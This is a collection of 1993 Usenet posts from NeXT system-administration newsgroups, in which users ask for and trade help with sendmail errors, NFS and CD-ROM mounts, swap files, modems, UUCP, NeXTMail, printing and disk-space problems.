From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.bugs Subject: BUG in either "man" or "mf.1" because "man mf" doesn't work Date: 11 Mar 1993 13:10:52 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1nndos$e7i@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Attention mf users on NeXT: Do a "man mf" job. Your mf.1 will not be processed because "man" can't finish the job. This is what happens: > ops> man mf > Reformatting page. Wait... > /usr/man/man1/mf.1: line 124: no specification > tbl quits > done What the heck is going on? The same mf.1 works fine on our SUN so I guess the NeXT has the problem. Any ideas? Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: bil@cmn14.Stanford.EDU (Bill Schottstaedt) Subject: sendmail loopback problem in 3.0 Message-ID: <1993Mar11.145759.17264@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Thu, 11 Mar 93 14:57:59 GMT Since upgrading to 3.0 two weeks ago, our mailserver can't resolve addresses that include a local machine name. It was working fine in 2.1. But now, whenever I try to send mail from the mailhost to a client machine, I get the error: >>> HELO guido.zkm.de 553 guido.zkm.de config error: mail loops back to myself I am using the standard sendmail.mailhost.cf file, and the address resolution works when sent from machines other than the mailhost. But the mailhost needs to forward mail to a different machine for some of our users. Here is a full trace of the message being sent from the mailhost (aka guido) to a client machine ockeghem: mail -v hkt@ockeghem Subject: test blah . Cc: hkt@ockeghem... Connecting to guido.zkm.de (ether)... 220 guido.zkm.de Sendmail NX5.67c/NeXT-2.0 ready at Thu, 11 Mar 93 07:32:02 +0100 >>> HELO guido.zkm.de 553 guido.zkm.de config error: mail loops back to myself >>> QUIT 221 guido.zkm.de closing connection hkt@ockeghem... 554 Service unavailable Saving message in /user/hkt/dead.letter /user/hkt/dead.letter... Sent Note that no other networking program seems to have a problem. I can rlogin, telnet and nslookup to all these local clients. Any help would be greatly appreciated. Rick Taube Zentrum fuer Kunst und Medientechnologie Ritterstr. 41 7500 Karlsruhe 41 Germany hkt@zkm.de (Respond to Rick, not me -- I'm just a human gateway -- bil@ccrma).
Newsgroups: comp.sys.next.sysadmin From: Doug_Smith@Novell.COM (J. Douglas Smith) Subject: Recycler on mounted drives Message-ID: <C3qDLM.3IK@Novell.COM> Sender: usenet@Novell.COM (Usenet News) Organization: Novell, Inc. Date: Thu, 11 Mar 1993 15:27:21 GMT Is there a way to get the Recycler to work on mounted file systems? -- Doug Smith Internet: jdsmith@novell.com Novell, INC. Phone: (801) 429-7324 UNIX Desktop Group
From: art@alice.ucsb.edu (Art Bailey) Newsgroups: comp.sys.next.sysadmin Subject: Partition won't Mount over Net Message-ID: <7912@ucsbcsl.ucsb.edu> Date: 11 Mar 93 19:01:02 GMT Sender: root@ucsbcsl.ucsb.edu We have a group of Nexts. On one of our stations, we partitioned the 105MB disk into two parts: part A is labeled as swapdisk and part B is for users. Needlesstosay, it is a netboot client. We have all our machines set up so that they nfs mount the Users directories from all the other machines. Our problem is that none of our machines can mount the Users from the machine with the partitioned disk. The directory to be mounted is correctly exported to the other machines. Does anybody have any ideas? Is there some problem with NFS mounting directories from a B partition of a disk? Thanks in advance, Art Bailey
Newsgroups: comp.sys.next.sysadmin From: steve@wc24.writer.yorku.ca (Steve Azmier) Subject: attaching vt220 terminal to NeXT Message-ID: <1993Mar11.202240.22620@newshub.ccs.yorku.ca> Keywords: emacs wonky, doesn't work properly, hope this is an easy fix Sender: news@newshub.ccs.yorku.ca (USENET News System) Organization: York University Date: Thu, 11 Mar 1993 20:22:40 GMT I've managed to get a Vision 2200+ attached to my serial port A and have it working nicely at 9600 baud (via /etc/ttys). One problem, when I try to use emacs from the vt200 I get all sorts of backwards question marks and can't really use it as a full screen editor. We hope to attach one terminal to the back of each NeXT so that as many folks as possible can work at our Centre (yes we're short on funds :-). Anyway the only way I can get the terminal to work is by setting it to 7 data bits even parity It is also set for vt200-7 The line in the /etc/ttys of note is: ttya "/usr/etc/getty std.9600" vt200-80 on secure Any ideas why emacs won't cooperate and what would the fix be? -- Steve Azmier York University NeXT/Unix Consultant 4700 Keele Street Coordinator - YuNUG c/o Computer-Assisted Writing Centre Email: steve@reader.yorku.ca 530 Scott Library North York, Ontario, Canada
From: wrb@biostr.washington.edu (William Barker) Newsgroups: comp.sys.next.sysadmin Subject: Email aliases and NextMail Groups Message-ID: <1no6q1INNe94@shelley.u.washington.edu> Date: 11 Mar 93 20:18:09 GMT Article-I.D.: shelley.1no6q1INNe94 Organization: University of Washington Greetings, I'm trying to use the NextMail Group addresses feature, with the aliases derived from my root NetInfo domain. Everything works fine for a day, and then it stops working. (Translation: the alias doesn't get translated when the mail gets sent. For example, the /usr/spool/mqueue/syslog record has the alias, not the real mail address.) If I reboot the local system, it starts working again. If I just restart sendmail and NextMail, it's still broke. I've RTFM (Network and Sys Admin guide), and I've seen nothing that I should be doing that I'm not. Has anyone used this feature and had the same problems? I suspect it's a NetInfo problem, but can't confirm my suspicion. Any help greatly appreciated. bb -- Bill Barker Biological Structure, SM-20 University of Washington Seattle WA 98195 (206) 543-7315 "In Wine there is Wisdom, In Beer there is Strength; In Water is Bacteria." --Old German Saying.
Newsgroups: comp.sys.next.sysadmin From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer) Subject: Mounting CD-ROM over Network? Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Mar11.224225.93057@yuma.ACNS.ColoState.EDU> Date: Thu, 11 Mar 1993 22:42:25 GMT Organization: Colorado State University, Fort Collins, CO 80523 Keywords: cd cdrom cd-rom cdplayer player i have a NeXT cd player on my server. i would like to throw a disk in there and nfs mount it to another NeXT. the mount works, the remote machine can view the files on the disk in the various subdirectories but hangs when trying any other operation (ie cat, cp, vi, etc) on files on the disk. the server can perform these operations no problem. i hope i don't get flamed for this (i've searched the faqs, NeXTAnswers etc). Anyone have a clue to my problem? Thanks. kelley wittmeyer dept of atmospheric science colorado state university
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Swapping to a raw disk partition Message-ID: <1993Mar11.231749.4981@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar4.105554.4399@leland.Stanford.EDU> Date: Thu, 11 Mar 1993 23:17:49 GMT David Lees (lees@pomegranate.stanford.edu) wrote: : A while back there was some discussion about configuring a NeXT to swap to : a device (or partition) rather than a swap file. As I recall, this will : provide a significant performance improvement. I can't find any : documentation about how to configure swapping this way in the man pages or : digital librarian. Can anyone tell me how to make this happen ? : : Thanks, : Dave I talked with Next about this. Apparently the overhead to work with a file system as opposed to a raw partition is very small compared to the time it takes to seek and write, so it doesn't matter. HOWEVER from personal experience, having the swapfile in a single contigious chunk makes a significant difference. It is worth your time if you find that your swap file hovers around 30 megs all the time, to rebuild your hard disk so that it has 30 meges in one spot for this. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: etherfind... netwatching Date: 12 Mar 1993 00:09:29 GMT Organization: Michigan State University Message-ID: <1nokbp$ei8@msuinfo.cl.msu.edu> I am in need of a program like "etherfind" on Sun's. Can anyone point me in the right direction? I heard a while back that there was someone looking for alpha testers (a long time ago). I'd really appreciate any info. Mail preferred. Chris Penney penney@cl-next4.cl.msu.edu
Newsgroups: comp.sys.next.sysadmin From: kunal@passion.pilot.dmg.ml.com (Kunal Singh) Subject: Need help with FaxModem Message-ID: <1993Mar11.150236.3349@pilot.dmg.ml.com> Keywords: Fax Sender: kunal@passion (Kunal Singh) Organization: Merrill Lynch Debt Markets Group Date: Thu, 11 Mar 1993 15:02:36 GMT I have a Zoom 14.4K fax/modem. I'm having problems configuring the Fax. It seems that if I make the fax available, every time the machine boots up, the modem is put into Fax mode. This seems to be done by a program which runs at boot time. After this I can't use the Fax modem as a data modem. Does anyone out there know the details as to which program is executed from where and exactly how to change the initialization string sent by that program to the modem ? The reason why I need to change the configuration is that although the Fax initiates calls to other fax machines, it hangs up after a brief blink of the CD. Also, I want to use my modem as a data modem.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: SLIP with Zyxel problem Date: 11 Mar 1993 23:08:55 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1nogq7$471@steffi.demon.co.uk> I am using Dialupip SLIP with a Zyxel 1496E and I have this strange problem. If I repeatadly dial my host when it engaged SLIP correctly gets back BUSY from my modem and does its thing. However, the first time I connect after all the engaged trys ie. this time it rings at the other end. For some reason my modem returns BUSY to SLIP. I cannot think why. This is my setup string in dial-zyxel.tcl xmit {AT S2=128 S15=130 &K4 &N0 L2 M1 V1 Q0 X5 &C1 &D3 &H3 &J0 &L0 &M0 &R1 &S0 N1\r} Am I missing something?
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.sysadmin Subject: Re: Swapping to a raw disk partition Date: 12 Mar 93 00:11:32 Organization: Is a sign of weakness Message-ID: <SCOTT.93Mar12001132@nic.gac.edu> References: <1993Mar4.105554.4399@leland.Stanford.EDU> <1993Mar11.231749.4981@kakwa.ucs.ualberta.ca> In-reply-to: sherwood@space.ualberta.ca's message of Thu, 11 Mar 1993 23:17:49 GMT In article <1993Mar11.231749.4981@kakwa.ucs.ualberta.ca>, sherwood@space.ualberta.ca (System Administrator) writes: >David Lees (lees@pomegranate.stanford.edu) wrote: >: A while back there was some discussion about configuring a NeXT to swap to >: a device (or partition) rather than a swap file. As I recall, this will >: provide a significant performance improvement. I can't find any >: documentation about how to configure swapping this way in the man pages or >: digital librarian. Can anyone tell me how to make this happen ? > >I talked with Next about this. Apparently the overhead to work with >a file system as opposed to a raw partition is very small compared >to the time it takes to seek and write, so it doesn't matter. > >HOWEVER from personal experience, having the swapfile in a single >contigious chunk makes a significant difference. It is worth your >time if you find that your swap file hovers around 30 megs all the >time, to rebuild your hard disk so that it has 30 meges in one spot >for this. I'm planning to purchase a 1G external drive, and I've been wondering what to do with my internal 400M. I'll probably install the OS on it, but that should leave me 100M (perhaps more) of space for swap. One problem with storing the swapfile on a filesystem is that you get hit by the 10% FFS optimization space. With swapping directly on a partition, you don't have to worry about that, of course. So, a poor alternative that I am considering is to partition the drive into a 300M and a 100M partition, build the 100M filesystem with few inodes, tune the filesystem using tunefs to optimize for space and large files, and use mkfile to write a single gigantic 100M (minus overhead, of course) swapfile. This should be a reasonably close simulation of a swap partition, assuming that you can get things tuned just right ... at worst, I suppose one could write a short program to create a "perfect" image of such a swap partition (with well-placed interior nodes and laid out front to back) and use dd to write that to the real partition :-). Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin From: Zacharias J. Beckman <zac@dolphin.com> Subject: Problems Using WorldBlazer & UUCP Message-ID: <1993Mar12.085011.6715@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Software Distribution: usa Date: Fri, 12 Mar 1993 08:50:11 GMT We have a remote site (houston) which is having trouble using a WorldBlazer with flow control. Our server (dolphin) uses Taylor 1.04, recently having upgraded from 1.03. None of the problems experienced by houston have EVER been seen on dolphin, and they are not apparently related to the use of Taylor (which, in general, fixes all the UUCP problems you inherit with a generic NeXT and its ten-year-old UUCP). The problem seems to be that using flow control with the WorldBlazer modem results in problems connecting to remote sites. This happens both via UUCP (using uucico to be exact) and by manually attempting to connect to a remote site with tip. If the /dev/cua is used, all goes well. If /dev/cufa is used, the resultant connection is completely faulty. While the modem seems to believe it has a connection, it in fact does not. Further, the characters received on the line are garbage, much like you would expect from a baud rate mismatch. The system houston is using a slightly older revision of the WorldBlazer ROM (v. 5.0 if I recall correctly). A standard issue, black NeXT (flow control) modem cable is being used. NeXTSTEP 3.0 has been installed. Any help would be greatly appreciated! Also, if you are interested in receiving Taylor UUCP 1.04, send email; I'll either NeXTMAIL it to you, or you can FTP it from any number of sites (such as Purdue or UUNET). -- Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: vassilis@next2032.fb10.tu-berlin.de (Vassilios Karavezyris) Newsgroups: comp.sys.next.sysadmin Subject: greek keyboard fonts Date: 12 Mar 1993 14:34:39 GMT Organization: TUBerlin/ZRZ Message-ID: <1nq71vINN5gg@mailgzrz.TU-Berlin.DE> Is there anyone who has keyboard fonts for greek language or knows where I could get it. Vassilios Karavezyris Technische Universitaet Berlin vassilis@next2032.le.tu-berlin.de
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: Hurry, please help. Cc: gee@gaul.csd.uwo.ca Organization: Relayed-by-Sendmail Date: Fri, 12 Mar 1993 16:01:52 GMT Message-ID: <9303121601.AA02459@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) I have currently ran into a problem with my file space. While I was using an app that extracts things from tar files (sledgehammer), the app froze and the file disappeared from my directory. This really isn't the main problem though. The problem is that when the file disappeared, the disk space that it occupied did not return. The only reason I noticed this is that the file was 45Megs. Any help with regaining the disk space of the file would be greatly appreciated. By the way, rebooting the system did not help. Please reply by email as soon as possible. Thanks. Greg Gee. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted Honours Computer Science, University of Western Ontario >>> Developing in the NeXT generation <<< ****************************************************************************
From: mcullen@rothko.symantec.com (Michael Cullen) Newsgroups: comp.sys.next.sysadmin Subject: SMTP manager for the NeXT Date: 12 Mar 1993 18:06:09 GMT Organization: Symantec Corporation Message-ID: <1nqjehINNsh@grumpy.symantec.com> I need to know if anyone makes a good SMTP manager for the next. I have an '030 cube as well as a spark station. My goal is to have both machines manage my WAN (which consists of pc's, mac's, ACC routers, a cisco, and a couple of HP mini's).
From: mcullen@rothko.symantec.com (Michael Cullen) Newsgroups: comp.sys.next.sysadmin Subject: SMTP manager for the NeXT Date: 12 Mar 1993 18:11:07 GMT Organization: Symantec Corporation Message-ID: <1nqjnrINNtg@grumpy.symantec.com> I need to know if there are any good SMTP manager for the NeXT. I have an '030 cube and a spark station. I would like to use both machines to manage my WAN (which consisits of pc's, mac's, ACC routers, a cisco, and a couple of HP mini's). Please respond to mcullen@rothko.symantec.com
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: mcdougal@jensen.cc.brandeis.edu (brendan mcdougall) Subject: External Hard Drive, Ownership and File Creation Mask Message-ID: <1993Mar12.185728.19160@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Fri, 12 Mar 1993 18:57:28 GMT Hi, The PI in this group purchased and installed an ADS external 1G hard drive. At this point a private user owns the hard drive. Doing a recursive chown, i.e. chown -R root /'disk', does not change the ownership of the disk after logging out from root. Too, file creation mask changes from root do not last past terminating that root session. To the Gurus, what the *%$# is the problem and how is this really managed. Please post to the group and if you send me responses directly, which I would appreciate, I will summarize the responses and post to the group. Thank you very much for your help. Best regards, Brendan McDougall
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: mcdougal@jensen.cc.brandeis.edu (brendan mcdougall) Subject: E-mail aliases and Listservers Message-ID: <1993Mar12.190247.19280@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Fri, 12 Mar 1993 19:02:47 GMT Hi, I have two questions and will summarize all responses sent to me and post to the group...phew! First, in what way does one set up an automated listserver on a NeXT, i.e. have a group of users, on or off site, have a mail to the group be automatically forwarded to all users in the group, wherever they may be. Is there an ftp site with list-server software available? For example, a list server with 'digest' capabilities would be great. Second, where does the NeXT hide all the private group and user addresses that are created in NeXTMail. We recently reformatted the hard drive and installed 3.0 on our internal hard disk. This was info I could not find or save. If I could locate the file, I could have saved this to floppy before re-formatting. Thanks for your help in this matter. Best regards, Brendan McDougall
From: bradshaw@thelma.hq.af.mil (Michelle A. Bradshaw) Newsgroups: comp.sys.next.sysadmin Subject: MIME Interface to NeXTMail Message-ID: <18961@hq.hq.af.mil> Date: 12 Mar 93 19:19:45 GMT Sender: news@Pt.hq.af.mil Is a third party working on such an interface? -- -- Michelle A. Bradshaw HQ USAF LAN Configuration Management -- bradshaw@thelma.hq.af.mil (NeXT OK) (703)695-5060 DSN 225-5060 -- Anybody who has an identity problem had better wise up and get -- with the program! Jack Handey
Newsgroups: comp.sys.next.sysadmin From: jporter@picard.ksc.nasa.gov (John Porter) Subject: Printer Problem - Urgent! Message-ID: <1993Mar12.201619.5202@dale.ksc.nasa.gov> Sender: news@dale.ksc.nasa.gov Organization: NASA Date: Fri, 12 Mar 1993 20:16:19 GMT Hi Netters: I have an urgent problem with my NeXT laser printer. It seems that one of my users had a paper jam. He removed the jam, but we still get the paper jam error. I have "looked under the hood" without success. I have cycled power without success. Any ideas? Is it possible to spoof the sensor, and if so, how? I'm in a world of hurt without the printer. Please e-mail responses so that I can monitor my mail over the weekend. Thanks in advance. JP
From: wade@hobbes.ucsd.edu (Wade Blomgren) Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: transcript and text files Followup-To: comp.sys.next.sysadmin Date: 12 Mar 1993 20:38:33 GMT Organization: University of California, San Diego Message-ID: <1nqsc9INNol0@network.ucsd.edu> Since upgrading to 3.0, lpr will no longer "automagically" print text files to a Postscript printer. More specifically, the transcript print filters no longer detect that a file is "not already postscript" and enscript it. There are references to the "pstext" filter in the psint.sh script (the script that the transcript filters are linked to), that is to say the environment variable specifying the path for pstext is set and exported, but the pstext program itself does not exist. I am certain that lpr of a plain text file worked prior to the upgrade. Has anyone else run into this? Does /usr/lib/transcript/pstext exist in 2.x? I have access to transcript 2.0 sources (the NeXT appears to use 3.0) and I thought I might try compiling and installing pstext from transcript 2.0 but I doubt that will fix things since running strings on the NeXT's pscomm shows no reference to the pstext variable. Any ideas would be appreciated. Wade Blomgren wade@hobbes.ucsd.edu
From: jenkinsonjp@rcwusr.bp.com (John P. Jenkinson) Newsgroups: comp.sys.next.sysadmin Subject: Mail.app problems Message-ID: <1993Mar12.154500.197@rcwusr> Date: 12 Mar 93 15:45:00 -0600 Organization: BP Exploration (Alaska) a user on a NeXT can't get into Mail with the Mail.app, most o the other accounts i tried can. that is problem number 1, why? i've seen the postings about permissions on /usr/spool/mail in NeXTanswers and this isn't the problem. it used to work, now when she launches Mail.app, nothing happens. while she was able to get in she changed her expert preferences to use another directory for her mailbox. since she can't get back in to change it back, that is problem number 2 - where is this information kept??
From: peter@tahiti.umhc.umn.edu (Peter Eisch) Newsgroups: comp.sys.next.sysadmin Subject: Re: MIME Interface to NeXTMail Message-ID: <C3stxp.7r@news.cis.umn.edu> Date: 12 Mar 93 23:15:00 GMT Article-I.D.: news.C3stxp.7r References: <18961@hq.hq.af.mil> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Or even a NeXTSTEP MIME app? Or an app like Mail.app that doesn't expect to mount the spool mail dir? peter peter@tahiti.umhc.umn.edu dig. Michelle A. Bradshaw writes > Is a third party working on such an interface? >
Newsgroups: comp.sys.next.sysadmin From: ian@pyrian.com (Ian H. Stewart) Subject: mtab trouble Message-ID: <1993Mar12.232552.531@pyrian.com> Sender: ian@pyrian.com Organization: PYRIAN Software Group Date: Fri, 12 Mar 1993 23:25:52 GMT I have noticed lately that my mtab permissions have been changing by themselves lately. And as a result, I get errors when cnews trys to run. The current setting is root wheel u g o __________________________ c c x R c x x W x x x E if I look at the CD-ROM version it shows u g o __________________________ c c c R c c x W x x x E If I change the permission to that before I run any news stuff it works fine. 1) Why is it changing all the time? (I am aware that it adds/dels my CD drive every time I mount / unmount) 2) Where can I set a way to ensure I have the right permissions everytime the file is changed / updated? Any help...thanks. -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | CIS 71101,1260 Always looking for new SW to market | Net Ian_Stewart@pyrian.com NeXT,Mac,PC & Sun | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin From: bob@ruf.rice.edu (Robert Morrison Dana) Subject: Re: MIME Interface to NeXTMail Message-ID: <C3t0wB.5nv@rice.edu> Sender: news@rice.edu (News) Organization: Rice University References: <C3stxp.7r@news.cis.umn.edu> Date: Sat, 13 Mar 1993 01:45:47 GMT Peter Eisch (peter@tahiti.umhc.umn.edu) wrote: : : Or even a NeXTSTEP MIME app? : Or an app like Mail.app that doesn't expect to mount the spool mail dir? : : peter : peter@tahiti.umhc.umn.edu It exists. MailManager.app is included with the IMAP package and is available for ftp from cac.washington.edu. It doesn't include any companion programs to display the attached files, but it will start up the appropriate app for the file type if you have it. IMAP is a remote mailbox access protocol that lets you read your mail from someplace other than your mail home. So, even if you don't receive mail on your NeXT and the machine where you do has IMAP installed, you can still use this NeXTStep interface app to read your mail. But I'm not sure if it does NeXTMail... I guess you can't have everything. ps- ftp cac.washington.edu: /imap/imap3.05.tar.Z -- Robert Dana >bob@rice.edu< ONCS Student UNIX Systems Programmer Rice University, Houston, TX
From: M_Carling@BlueRose.com (M Carling) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.0 Upgrades are beginning to irritate me Message-ID: <1993Mar10.160734.4800@bluerose.com> Date: 10 Mar 93 16:07:34 GMT References: <C3n9EJ.57H.2@cs.cmu.edu> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. In article <C3n9EJ.57H.2@cs.cmu.edu> rane+@cs.cmu.edu (Aaron Hughes) writes: > > Ya know - I've upgraded about 30 machines in the last > 2 months or so and I just did another one today. The > thing that's pissing me off is that every coupla > machines will fail the upgrade in some bizarre way, > even though the upgrade app says that disk was > successfully upgraded. Don't use Upgrade.app. Instead use BuildDisk.app. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: (NEC) CD-ROM drives Compatibility Message-ID: <1993Mar13.110848.12099@mic.ucla.edu> Followup-To: comp.sys.next.sysadmin Organization: UCLA, Anderson Graduate School Of Management Date: 13 Mar 93 11:08:47 PST I am wondering which of the new <300ms CD-ROM drives are working on NeXT 68040 systems. In the past (OS 2.x), there was a problem with some drives. (In a message to comp.sys.next.misc in January 1992, Scott Turner traced a problem with the CDR-77 to an automounter incompatibility.) Has anyone used a CDR-77 (or better/similar/other) CD-ROM drive to an '040? If so, could you please post this compatibility information to this newsgroup? /ivo welch
Newsgroups: comp.sys.next.sysadmin From: elysia!luis (Luis Arias) Subject: Re: NeXT will not turn OFF!! (yes, OFF) Message-ID: <1993Mar9.170942.665@elysia.fdn.org> Sender: luis@elysia.fdn.org Organization: Elysia - Rueil_Malmaison, France. References: <1993Mar8.155213.9877@tybrin4.uucp> Date: Tue, 9 Mar 1993 17:09:42 GMT In article <1993Mar8.155213.9877@tybrin4.uucp> uunet!sci34hub!tybrin4!trey (Trey McClendon) writes: > Hello, > > Now that I can post, the 'NeXT will not turn on!!' post reminds me of a > problem with one of the NeXTs here where I work. This slab, one of the > early ones, will not turn off. It will go through the power off sequence If you are running NS3.0, try looking at your Preferences. Maybe the Turn Computer On after Power Off / failure option is on ! -- Luis Arias President Elysia, Inc. 23, rue Buffon 92500 RUEIL-MALMAISON FRANCE -- Luis Arias President Elysia, Inc. 23, rue Buffon
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: HELP, can't boot with / full In-Reply-To: jenkinsonjp@rcwusr.bp.com's message of 10 Mar 93 18:46:16 -0600 Message-ID: <KARTHY.93Mar14112003@dannug.dannug.dk> Sender: karthy@dannug.dk (Karsten Thygesen) Organization: Dannug - Danish NeXT Users Group References: <1993Mar10.184617.192@rcwusr> Date: Sun, 14 Mar 1993 10:20:03 GMT >>>>> On 10 Mar 93 18:46:16 -0600, jenkinsonjp@rcwusr.bp.com (John P. Jenkinson) said: John> help, i'm shookered John> NeXT won't boot, in rom monitor i see messages like John> /: file system full John> IO error on pageout: error = 28. John> vnode_pageout: failed! John> i understand the why, i can't get a boot in single user nor in -b to not John> to rc.boot. John> how do you recover rom such a situation??? We have had the same problem with one of our slabs, and the only way we could get it up and running was to boot on a CD and then mount the harddisk and do a little clean up. Karsten. -- Karsten Thygesen I Aalborg, Denmark karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59 President, Danish NeXT Users Group I Fax: +45 98 12 44 81
Newsgroups: comp.sys.next.sysadmin From: ed@talus.com Subject: Re: MailBoxes are losing attchments... Message-ID: <1993Mar14.210006.251@talus.com> Sender: ed@talus.com Organization: Talus Corporation References: <1na22b$fbh@calvin.NYU.EDU> Date: Sun, 14 Mar 1993 21:00:06 GMT In article <1na22b$fbh@calvin.NYU.EDU> hiebm@acf3.nyu.edu (Michael Hieb) writes: > > No matter how many times I change permissions on the MailBoxes > directory, each time mail is received a directory is created for the > attachment which is empty. No matter the permissions on the directory, > the umask can be set for 777, the directory is made with myself as > owner, wheel as group and write permissions only for myself, and the > attachment has been lost. I have destroyed both the Active.mbox by > itself, as well as the entire MailBoxes directory. Upon recreation, no > better. > > I welcome any pointers provided. > > Michael I noticed several problems with those attachments when your mailbox gets big. For example when there are more than 950 messages, things starts disappearing... the only solution, until 3.1, seems to be transfering to "Before XX.mbox" (i.e. : "Before Jan 7.mbox" Ed/ -- Erik Dasque "The French Guy" Houston (713) 561-0700 V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.software From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon) Subject: Mathematica installation gotcha Message-ID: <1993Mar13.013827.1704@holli.uucp> Sender: me@holli.uucp (My Account) Organization: TYBRIN Corporation -- Huntsville, AL Date: Sat, 13 Mar 1993 01:38:27 GMT Hi, Just wanted to alert everyone to a potential problem with Mathematica that I ran into recently. A pre-2.1 version of Mathematica was installed on a file server. mathremote, math, and mcc were put into /usr/local/bin. The problem manifested itself in that math from the command line worked fine, but the Notebook front end would not work. A simple operation like '1+1' put the 'running...' up in the title bar and no answer ever came out. After talking with Wolfram, who really tried hard to help, over the course of several phone calls, they sent me v2.1. Same thing happened. Well I got busy and dropped it until today. Another guy was installing a copy on another machine and had the same problem. Well, the problem ended up being the shell script 'mathremote', which the front-end uses to talk to the kernel, I think. There is a long command including many pipes that just happens to use a command called 'control' -- without a pathname. We had a command called control that is a script used for some other purpose that was being used instead of the one nestled within the heirarchy of the Mathematica.app. After modifying the script to put the absolute pathname in front of control, everything worked fine. Trey McClendon tybrin4!trey@sci34hub.sci.com -- Trey McClendon, Madison, AL
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: passwd+ in Preferences Message-ID: <C3x54o.LML@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana Date: Mon, 15 Mar 1993 07:07:21 GMT Has anyone gotten around to writing a drop-in Preferences module that provides for 'safe' password changing in netinfo? (by safe, I mean using passwd+ or something like it - check for crackable passwords) Yes, I know that there are other ways, in fact I implemented one that uses NIS. However, at my current site, using netinfo is something that I want to keep doing and I would like to have everything look the same for users. Isn't the API for Preferences published now in 3.0? (at least NeXT told me it would be last summer...) I was just hoping that someone had finally gotten around to writing this. I imagine that my site and others would be willing to license such a thing, in fact. Forcing users to use good passwords is a very important thing. On a related note, has anyone had success in using passwd+ with NeXTs and netinfo? I haven't even looked into it, but am interested to know if it just compiles and runs like it would on any other BSD machine. (somehow I doubt it, but maybe I'm being pessimistic...I've used netinfo for too long :-) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: mcullen@rothko.symantec.com (Michael Cullen) Newsgroups: comp.sys.next.sysadmin Subject: SNMP manager for the NeXT Date: 15 Mar 1993 16:06:31 GMT Organization: Symantec Corporation Message-ID: <1o29i7INNbo7@grumpy.symantec.com> Okay. I snoozed. I need an SNMP manager for my 030 NeXT cube to manage my WAN. Any help would be appreciated. Thankx to all for the corrections. mcullen@rothko.symantec.com
